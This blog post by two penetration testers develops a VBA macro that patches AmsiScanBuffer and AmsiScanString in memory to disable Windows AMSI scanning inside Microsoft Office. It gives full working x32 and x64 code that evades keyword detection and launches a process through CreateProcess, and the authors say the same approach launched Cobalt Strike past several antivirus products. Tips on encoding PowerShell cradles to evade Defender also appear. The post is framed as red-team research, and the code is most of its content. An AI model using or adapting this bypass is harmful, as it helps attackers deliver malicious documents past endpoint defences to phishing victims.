By Richard Davy (@rd_pentest) & Gary Nield (@Monobehaviour)
As most Pentesters know, Windows Defender is installed by default on Windows 10 and all new versions of Windows Server. During an engagement this can sometimes be frustrating, when wanting to obtain access to a remote machine, especially during a Phishing engagement.
There are multiple AMSI bypasses available on the Internet and with some customisation my colleague and I, during previous research time at ECSC Plc, wrote some custom tools to achieve this goal for internal engagements.
For the most part AMSI, using PowerShell, can be bypassed using simple obfuscation. AMSI within VBA, however, is very different.
Further detailed information of how AMSI works within VBA can be found here
https://www.microsoft.com/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/
Essentially, logging occurs before functions are called, which means that code is de-obfuscated before it is run. This gives Anti-Virus (AV) an opportunity to inspect it for malicious or suspicious behaviour.
The result is that obfuscation is still useful for bypassing signature detection of the file, however, upon execution the code will still get flagged as a potential security concern by AMSI.
After some investigation (Googling) we found that some research had been undertaken in this area, along with several posts of malware dissection. Two prominent examples are below.
https://blog.yoroi.company/research/the-document-that-eluded-applocker-and-amsi/
https://idafchev.github.io/research/2019/03/23/office365_amsi_bypass.html
The first link is analysis of malware found in the wild, which appears to use an in-memory bypass written by rastamouse, written in C# and can be located at the URL below.
https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/master/ASBBypass/Program.cs
The second link is a post detailing research, which has already been completed and submitted to Microsoft. Microsoft’s response informed the researcher that they have addressed the issues raised.
The author provided an initial port of the code to VBA, which gave a suitable starting point.
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As LongPtr)
Private Sub Document_Open()
Dim AmsiDLL As LongPtr
Dim AmsiScanBufferAddr As LongPtr
Dim result As Long
Dim MyByteArray(6) As Byte
Dim ArrayPointer As LongPtr
MyByteArray(0) = 184 ' 0xB8
MyByteArray(1) = 87 ' 0x57
MyByteArray(2) = 0 ' 0x00
MyByteArray(3) = 7 ' 0x07
MyByteArray(4) = 128 ' 0x80
MyByteArray(5) = 195 ' 0xC3
AmsiDLL = LoadLibrary("amsi.dll")
AmsiScanBufferAddr = GetProcAddress(AmsiDLL, "AmsiScanBuffer")
result = VirtualProtect(ByVal AmsiScanBufferAddr, 5, 64, 0)
ArrayPointer = VarPtr(MyByteArray(0))
CopyMemory ByVal AmsiScanBufferAddr, ByVal ArrayPointer, 6
End Sub
After various modifications to the author’s code, it appeared that Microsoft’s method of addressing this issue was to flag as malicious any instance of the following keywords irrespective of their order of use.
AmsiScanBuffer
AmsiScanString
RtlMoveMemory
CopyMemory
In theory, this defends multiple AMSI bypasses, which are publicly available on the Internet, as most are based around the premise of finding AmsiScanBuffer/AmsiScanString and patching the bytes in memory.
This meant that we would have to put on our thinking caps in order to come up with an efficient way around the problem.
To make life even more difficult for ourselves we decided that neither of us liked the current AMSI bypass as it didn’t check the byte locations for expected bytes before patching which could result in a program crash and that we’d be executing payloads without knowing whether AMSI was bypassed which could potentially give the game away – not ideal in a Redteam scenario.
We also noticed that the code did not check whether Office was running in x32 or x64, both of which are offered by Microsoft and could result in a crash if patched arbitrarily.
In order to investigate further we used WinDbg, which can be downloaded and installed via the link below.
https://developer.microsoft.com/en-us/windows/downloads/windows-10-sdk
To view the assembly code we are interested in, we first need to attach to the winword.exe process. To achieve this press F6, select winword.exe and then OK.
Then in the debugger window type
u amsi!amsiScanBuffer l100
We can see both the AmsiScanBuffer and AmsiScanString assembly code, and we can also see the names of neighbouring functions – of notable interest is AmsiUacInitialize.
We decided to modify the PoC code to see if we could successfully search for the address of AmsiUacInitialize and we were successful.
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
Private Sub Test()
Dim AmsiDLL As LongPtr
Dim AmsiScanBufferAddr As LongPtr
AmsiDLL = LoadLibrary("amsi.dll")
AmsiScanBufferAddr = GetProcAddress(AmsiDLL, " AmsiUacInitialize ")
End Sub
The above code returns the address for “AmsiUacInitialize” and if we then subtract 80 from this value, we get the start address for “AmsiScanString”, similarly if we subtract 256 we get the start address for “AmsiScanBuffer”.
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
Private Sub x64_Office()
Dim AmsiDLL As LongPtr
Dim AmsiScanBufferAddr As LongPtr
Dim AmsiScanStringAddr As LongPtr
AmsiDLL = LoadLibrary("amsi.dll")
AmsiScanBufferAddr = GetProcAddress(AmsiDLL, " AmsiUacInitialize ") - 256
Debug.print Hex(AmsiScanBufferAddr)
AmsiScanStringAddr = GetProcAddress(AmsiDLL, " AmsiUacInitialize ") - 80
Debug.print Hex(AmsiScanStringAddr)
End Sub
We’ve now solved the first part of the puzzle; the next part is patching memory, which can be done using RtlFillMemory, though we need to make a simple change first.
Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDest As Any, pSource As Any, ByVal ByteLen As Long)
During testing we found that if we left the Sub name as CopyMemory it got flagged by AMSI, however, AMSI was quite happy for us to use this function if we renamed CopyMemory to something else such as ByteSwapper.
Declare PtrSafe Sub ByteSwapper Lib "kernel32" Alias "RtlMoveMemory" (pDest As Any, pSource As Any, ByVal ByteLen As Long)
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
Declare PtrSafe Sub ByteSwapper Lib "kernel32" Alias "RtlMoveMemory" (pDest As Any, pSource As Any, ByVal ByteLen As Long)
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Private Sub x64_Office()
Dim AmsiDLL As LongPtr
Dim AmsiScanBufferAddr As LongPtr
Dim AmsiScanStringAddr As LongPtr
Dim result As Long
AmsiDLL = LoadLibrary("amsi.dll")
AmsiScanBufferAddr = GetProcAddress(AmsiDLL, " AmsiUacInitialize ") - 256
Debug.print Hex(AmsiScanBufferAddr)
result = VirtualProtect(ByVal AmsiScanBufferAddr, 32, 64, 0)
ByteSwapper ByVal (AmsiScanBufferAddr + 0), 1, Val("&H" & "90") – Modify the byte to NOP
AmsiScanStringAddr = GetProcAddress(AmsiDLL, " AmsiUacInitialize ") - 80
Debug.print Hex(AmsiScanStringAddr)
result = VirtualProtect(ByVal AmsiScanStringAddr, 32, 64, 0)
ByteSwapper ByVal (AmsiScanStringAddr + 0), 1, Val("&H" & "90") – Modify the byte to NOP
End Sub
The above code will successfully bypass AMSI within x64 Version of Microsoft Office 365.
Whilst the PoC works, a simple way to stop it would be to black list AmsiUacInitialize, using the same technique used to detect AmsiScanString and AmsiScanBuffer.
To make this a little more robust, we decided to improve the code by dynamically calculating the code offsets, which we want to modify. This would then enable us to use any of the functions within amsi.dll to calculate the memory locations we need to patch. To mitigate, Microsoft would theoretically need to blacklist all of the functions.
However, by reading memory and searching for the magic bytes to patch, we could just read the entire contents of amsi.dll in memory, starting from the amsi.dll base address and patch once the magic byte location was found.
We also wanted to make this work on both x32 and x64 versions of Office 365, within one document rather than having a macro for each version.
We decided to get the easy bit out of the way first, the following code detects whether Office 365 x32 or x64 is running and enables us to branch of accordingly.
Sub TestOfficeVersion()
'Test the Office version for x32 or x64 version
#If Win64 Then
Call x64_office
#ElseIf Win32 Then
Call x32_office
#End If
End Sub
In order to read the bytes we want from memory, the first API we tried was:
Private Declare Sub RtlCopyMemory Lib "kernel32.dll" (ByRef Destination As Long, ByRef Source As Long, ByVal Length As Long)
This API was initially successful, however, what we then later discovered was that RtlCopyMemory is only available for x64 and not x32. This initially puzzled us for a while, and we delved into Microsoft TechNet looking for other functions that we could use; we were both set on this code working on both x32 and x64. Further research revealed the breakthrough that we needed.
RtlCopyMemory and RtlMoveMemory are both in fact an alias for memcpy, which is within the msvcrt.dll library. It can be referenced directly and luckily works for both x32 and x64.
Declare PtrSafe Sub Peek Lib "msvcrt" Alias "memcpy" (ByRef pDest As Any, ByRef pSource As Any, ByVal nBytes As Long)
To get a buffer of bytes from memory, we take the offset of AmsiUacInitialize and go backwards an arbitrary value to somewhere before our code should be. We chose AmsiUacInitialize address – 352.
Using this as the starting point we then increment forward 352 places, byte by byte and add this to a buffer.
Function GetBuffer(LeakedAmsiDllAddr As LongPtr, TraverseOffset As Integer) As String
Dim LeakedBytesBuffer As String
Dim LeakedByte As LongPtr
Dim TraverseStartAddr As LongPtr
On Error Resume Next
TraverseStartAddr = LeakedAmsiDllAddr - TraverseOffset
Dim i As Integer
For i = 0 To TraverseOffset
Peek LeakedByte, ByVal (TraverseStartAddr + i), 1
If LeakedByte < 16 Then
FixedByteString = "0" & Hex(LeakedByte)
LeakedBytesBuffer = LeakedBytesBuffer & FixedByteString
Else
LeakedBytesBuffer = LeakedBytesBuffer & Hex(LeakedByte)
End If
Next i
GetBuffer = LeakedBytesBuffer
End Function
After execution we get something similar to the following bytes as a buffer.
4C8BDC49895B0849896B104989731857415641574883EC704D8BF9418BF8488BF2488BD9488B0DADDA0000488D05A6DA0000488BAC24B80000004C8BB424B0000000483BC87423F6411C04741D488B49104C8BCB49896BB04D8973A8448944242849895398E8D2F7FFFF4885F6746685FF74624885ED745D4885DB7458813B414D53497550488B43084885C07447488B4B104885C9743E4889442458488D150D85000048895424404533C94889742448488D542440897C24504C8BC54C897C24604C89742468488B01488B4018FF15658B0000EB05B8570007804C8D5C2470498B5B20498B6B28498B7330498BE3415F415E5FC3CCCCCCCCCCCCCCCCCCCCCCCC4883EC384533DB4885D2743D4C8B5424604D85D274334883C8FF48FFC06644391C4275F64803C041BBFFFFFFFF493BC377174C895424284C894C24204D8BC8448BC0E8B9FEFFFFEB05B8570007804883C438C3CCCCCCCCCCCCCCCCCCCCCCCCCC48
We then need to confirm that our magic bytes are amongst this buffer and if so, calculate the new offset location to use for patching.
The InStr function will compare two strings and return the position of the first occurrence of one string within another.
InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanBufferMagicBytes)
Therefore, if InstructionInStringOffset is greater than zero, it means we have our magic bytes and can continue.
To calculate the offset in the code, we take the starting point of where we read the buffer from, calculated as follows:
LeakedAmsiDllAddr – TraverseOffset
We then take the value of InstructionInStringOffset and subtract 1, to make sure our final offset value is one byte before the location we want to patch and then divide by two, to take into account we’re working in bytes.
Function FindPatchOffset(LeakedAmsiDllAddr As LongPtr, TraverseOffset As Integer, InstructionInStringOffset As Integer) As LongPtr
Dim memOffset As Integer
memOffset = (InstructionInStringOffset - 1) / 2
FindPatchOffset = (LeakedAmsiDllAddr - TraverseOffset) + memOffset
End Function
Now that we can dynamically calculate our base patch offset, we can now rewrite our initial PoC code to take these changes and additional functions into account.
Patching in this manner, offers us quite a bit of freedom, both with regard to detection and also should the amsi.dll library change.
Sub x64_office()
Dim LeakedAmsiDllAddr As LongPtr
Dim ScanBufferMagicBytes As String
Dim ScanStringMagicBytes As String
Dim LeakedBytesBuffer As String
Dim AmsiScanBufferPatchAddr As LongPtr
Dim AmsiScanStringPatchAddr As LongPtr
Dim TrvOffset As Integer
Dim InstructionInStringOffset As Integer
ScanBufferMagicBytes = "4C8BDC49895B08"
ScanStringMagicBytes = "4883EC384533DB"
TrvOffset = 352
LeakedAmsiDllAddr = LoadDll("amsi.dll", "AmsiUacInitialize")
LeakedBytesBuffer = GetBuffer(LeakedAmsiDllAddr, TrvOffset)
InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanBufferMagicBytes)
If InstructionInStringOffset = 0 Then
' MsgBox "We didn't find the scanbuffer magicbytes :/"
Else
AmsiScanBufferPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)
Result = VirtualProtect(ByVal AmsiScanBufferPatchAddr, 32, 64, 0)
ByteSwapper ByVal (AmsiScanBufferPatchAddr + 0), 1, Val("&H" & "90")
ByteSwapper ByVal (AmsiScanBufferPatchAddr + 1), 1, Val("&H" & "C3")
End If
InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanStringMagicBytes)
If InstructionInStringOffset = 0 Then
' MsgBox "We didn't find the scanstring magicbytes :/"
Else
AmsiScanStringPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)
Result = VirtualProtect(ByVal AmsiScanStringPatchAddr, 32, 64, 0)
ByteSwapper ByVal (AmsiScanStringPatchAddr + 0), 1, Val("&H" & "90")
ByteSwapper ByVal (AmsiScanStringPatchAddr + 1), 1, Val("&H" & "C3")
End If
End Sub
Now that we have control over AMSI this wouldn’t be complete if we didn’t briefly talk about launching payloads.
Using functions such as ShellExecute or similar got detected by Windows Defender, both as other strains of Malware but also via the behavioural analysis detection.
The most reliable method involved using CreateProcess, which bypasses detection by Windows Defender.
During this research we also noted that Windows Defender could be bypassed quite easily by writing a simple encoder/decoder for strings, such as PowerShell cradles, encoding to base64.Decoding with native tools such as certutil.exe is unnecessary and increases the chances of detection.
Full working code of both the x64 and x32 bypass can be seen below.
The code below does not use any form of obfuscation nor does it do anything malicious it just launches good old calc. However with a little bit of extra work as seen in the videos below it can be used to successfully launch Cobalt Strike and bypass multiple AV vendor protections.
Each AV solution tested was in its default out of the box installation state, no further configuration or hardening has been applied.
Note – Prior to publishing this blog post we contacted Microsoft Response Centre and raised the issue of bypassing AMSI using VBA within Macros and they do not consider it a vulnerability.
Note:
Code below has some extra html encoded & symbols please refer to git for working example
https://github.com/rmdavy/WordAmsiBypass
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Private Declare PtrSafe Sub ByteSwapper Lib "kernel32.dll" Alias "RtlFillMemory" (Destination As Any, ByVal Length As Long, ByVal Fill As Byte)
Declare PtrSafe Sub Peek Lib "msvcrt" Alias "memcpy" (ByRef pDest As Any, ByRef pSource As Any, ByVal nBytes As Long)
Private Declare PtrSafe Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" (ByVal dwAccess As Long, ByVal fInherit As Integer, ByVal hObject As Long) As Long
Private Declare PtrSafe Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare PtrSafe Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadId As Long
End Type
Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
Const CREATE_NO_WINDOW = &H8000000
Const CREATE_NEW_CONSOLE = &H10
Function LoadDll(dll As String, func As String) As LongPtr
Dim AmsiDLL As LongPtr
AmsiDLL = LoadLibrary(dll)
LoadDll = GetProcAddress(AmsiDLL, func)
End Function
Function GetBuffer(LeakedAmsiDllAddr As LongPtr, TraverseOffset As Integer) As String
Dim LeakedBytesBuffer As String
Dim LeakedByte As LongPtr
Dim TraverseStartAddr As LongPtr
On Error Resume Next
TraverseStartAddr = LeakedAmsiDllAddr - TraverseOffset
Dim i As Integer
For i = 0 To TraverseOffset
Peek LeakedByte, ByVal (TraverseStartAddr + i), 1
If LeakedByte < 16 Then
FixedByteString = "0" & Hex(LeakedByte)
LeakedBytesBuffer = LeakedBytesBuffer & FixedByteString
Else
LeakedBytesBuffer = LeakedBytesBuffer & Hex(LeakedByte)
End If
Next i
GetBuffer = LeakedBytesBuffer
End Function
Function FindPatchOffset(LeakedAmsiDllAddr As LongPtr, TraverseOffset As Integer, InstructionInStringOffset As Integer) As LongPtr
Dim memOffset As Integer
memOffset = (InstructionInStringOffset - 1) / 2
FindPatchOffset = (LeakedAmsiDllAddr - TraverseOffset) + memOffset
End Function
Sub x64_office()
Dim LeakedAmsiDllAddr As LongPtr
Dim ScanBufferMagicBytes As String
Dim ScanStringMagicBytes As String
Dim LeakedBytesBuffer As String
Dim AmsiScanBufferPatchAddr As LongPtr
Dim AmsiScanStringPatchAddr As LongPtr
Dim TrvOffset As Integer
Dim InstructionInStringOffset As Integer
Dim Success As Integer
ScanBufferMagicBytes = "4C8BDC49895B08"
ScanStringMagicBytes = "4883EC384533DB"
TrvOffset = 352
Success = 0
LeakedAmsiDllAddr = LoadDll("amsi.dll", "AmsiUacInitialize")
LeakedBytesBuffer = GetBuffer(LeakedAmsiDllAddr, TrvOffset)
InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanBufferMagicBytes)
If InstructionInStringOffset = 0 Then
' MsgBox "We didn't find the scanbuffer magicbytes :/"
Else
AmsiScanBufferPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)
Result = VirtualProtect(ByVal AmsiScanBufferPatchAddr, 32, 64, 0)
ByteSwapper ByVal (AmsiScanBufferPatchAddr + 0), 1, Val("&H" & "90")
ByteSwapper ByVal (AmsiScanBufferPatchAddr + 1), 1, Val("&H" & "C3")
Success = Success + 1
End If
InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanStringMagicBytes)
If InstructionInStringOffset = 0 Then
' MsgBox "We didn't find the scanstring magicbytes :/"
Else
AmsiScanStringPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)
Result = VirtualProtect(ByVal AmsiScanStringPatchAddr, 32, 64, 0)
ByteSwapper ByVal (AmsiScanStringPatchAddr + 0), 1, Val("&H" & "90")
ByteSwapper ByVal (AmsiScanStringPatchAddr + 1), 1, Val("&H" & "C3")
Success = Success + 1
End If
If Success = 2 Then
Call CallMe
End If
End Sub
Sub x32_office()
Dim LeakedAmsiDllAddr As LongPtr
Dim ScanBufferMagicBytes As String
Dim ScanStringMagicBytes As String
Dim LeakedBytesBuffer As String
Dim AmsiScanBufferPatchAddr As LongPtr
Dim AmsiScanStringPatchAddr As LongPtr
Dim TrvOffset As Integer
Dim InstructionInStringOffset As Integer
Dim Success As Integer
ScanBufferMagicBytes = "8B450C85C0745A85DB"
ScanStringMagicBytes = "8B550C85D27434837D"
TrvOffset = 300
Success = 0
LeakedAmsiDllAddr = LoadDll("amsi.dll", "AmsiUacInitialize")
LeakedBytesBuffer = GetBuffer(LeakedAmsiDllAddr, TrvOffset)
InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanBufferMagicBytes)
If InstructionInStringOffset = 0 Then
' MsgBox "We didn't find the scanbuffer magicbytes :/"
Else
AmsiScanBufferPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)
Debug.Print Hex(AmsiScanBufferPatchAddr)
Result = VirtualProtect(ByVal AmsiScanBufferPatchAddr, 32, 64, 0)
ByteSwapper ByVal (AmsiScanBufferPatchAddr + 0), 1, Val("&H" & "90")
ByteSwapper ByVal (AmsiScanBufferPatchAddr + 1), 1, Val("&H" & "31")
ByteSwapper ByVal (AmsiScanBufferPatchAddr + 2), 1, Val("&H" & "C0")
Success = Success + 1
End If
InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanStringMagicBytes)
If InstructionInStringOffset = 0 Then
' MsgBox "We didn't find the scanstring magicbytes :/"
Else
AmsiScanStringPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)
Debug.Print Hex(AmsiScanStringPatchAddr)
Result = VirtualProtect(ByVal AmsiScanStringPatchAddr, 32, 64, 0)
ByteSwapper ByVal (AmsiScanStringPatchAddr + 0), 1, Val("&H" & "90")
ByteSwapper ByVal (AmsiScanStringPatchAddr + 1), 1, Val("&H" & "31")
ByteSwapper ByVal (AmsiScanStringPatchAddr + 2), 1, Val("&H" & "D2")
Success = Success + 1
End If
If Success = 2 Then
Call CallMe
End If
End Sub
Sub TestOfficeVersion()
#If Win64 Then
Call x64_office
#ElseIf Win32 Then
Call x32_office
#End If
End Sub
Sub CallMe()
Dim pInfo As PROCESS_INFORMATION
Dim sInfo As STARTUPINFO
Dim sNull As String
Dim lSuccess As Long
Dim lRetValue As Long
lSuccess = CreateProcess(sNull, "calc.exe", ByVal 0&, ByVal 0&, 1&, CREATE_NEW_CONSOLE, ByVal 0&, sNull, sInfo, pInfo)
lRetValue = CloseHandle(pInfo.hThread)
lRetValue = CloseHandle(pInfo.hProcess)
End Sub
The videos below demonstrates a malicious Word document being launched on multiple systems where AMSI is enabled and different AV solutions are installed. In each case a Cobalt Strike session is successfully launched.
One Reply to “Dynamic Microsoft Office 365 AMSI In Memory Bypass Using VBA”